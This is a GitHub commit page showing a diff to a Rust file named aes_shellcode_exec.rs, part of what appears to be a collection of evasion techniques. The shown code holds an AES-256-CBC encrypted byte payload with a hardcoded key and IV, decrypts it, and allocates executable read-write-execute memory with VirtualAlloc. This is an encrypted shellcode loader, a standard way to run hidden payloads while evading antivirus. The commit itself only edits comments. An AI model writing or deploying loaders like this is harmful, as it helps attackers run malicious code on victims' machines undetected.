Skip to content

Commit b82b1c0

Browse files
authored
just common expression commits
1 parent cdeb5b7 commit b82b1c0

File tree

1 file changed

+3
-5
lines changed

1 file changed

+3
-5
lines changed

Encryption Methods/aes_shellcode_exec.rs

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -47,13 +47,11 @@ fn main(){
4747
26, 222, 129, 96, 187, 3, 99, 145, 8, 241, 241, 49, 53, 245, 126, 231, 12, 181, 144, 228, 3, 4, 253, 76, 9, 235, 255, 126, 119, 85, 75, 55, 37, 19,
4848
42, 9, 94, 229, 73, 127, 105, 173, 78, 64, 134, 195, 214, 226, 208, 120, 14, 254, 127, 241, 9, 214, 222, 239, 156, 73, 67, 148, 209, 214];
4949

50-
// KEYS
50+
// PASTE RAW KEYS KEYS
5151
let key: [u8; 32] = [250, 210, 17, 98, 103, 204, 103, 213, 37, 77, 174, 212, 56, 103, 47, 181, 245, 129, 222, 78, 229, 33, 166, 222, 236, 111, 56, 37, 25, 241, 251, 59];
52-
// IV
52+
// PASTE RAW Initialization Vector (iv)
5353
let iv: [u8; 16] = [36, 32, 35, 81, 237, 38, 143, 85, 219, 233, 159, 76, 65, 127, 206, 203];
5454

55-
// let key = b"SUPER_SECRET_PASSWORD_IMPOSSIBLE";
56-
// let iv = b"This is 16 bytes";
5755

5856
let cipher = Cipher::new_256(&key);
5957
let buf = cipher.cbc_decrypt(&iv, &buf);
@@ -62,7 +60,7 @@ fn main(){
6260
let address = VirtualAlloc(
6361
null_mut(),
6462
buf.len(),
65-
0x1000 | 0x2000 ,
63+
0x1000 | 0x2000 , // MEM_COMMIT | MEM_RESERVE
6664
0x40,
6765
);
6866

0 commit comments

Comments
 (0)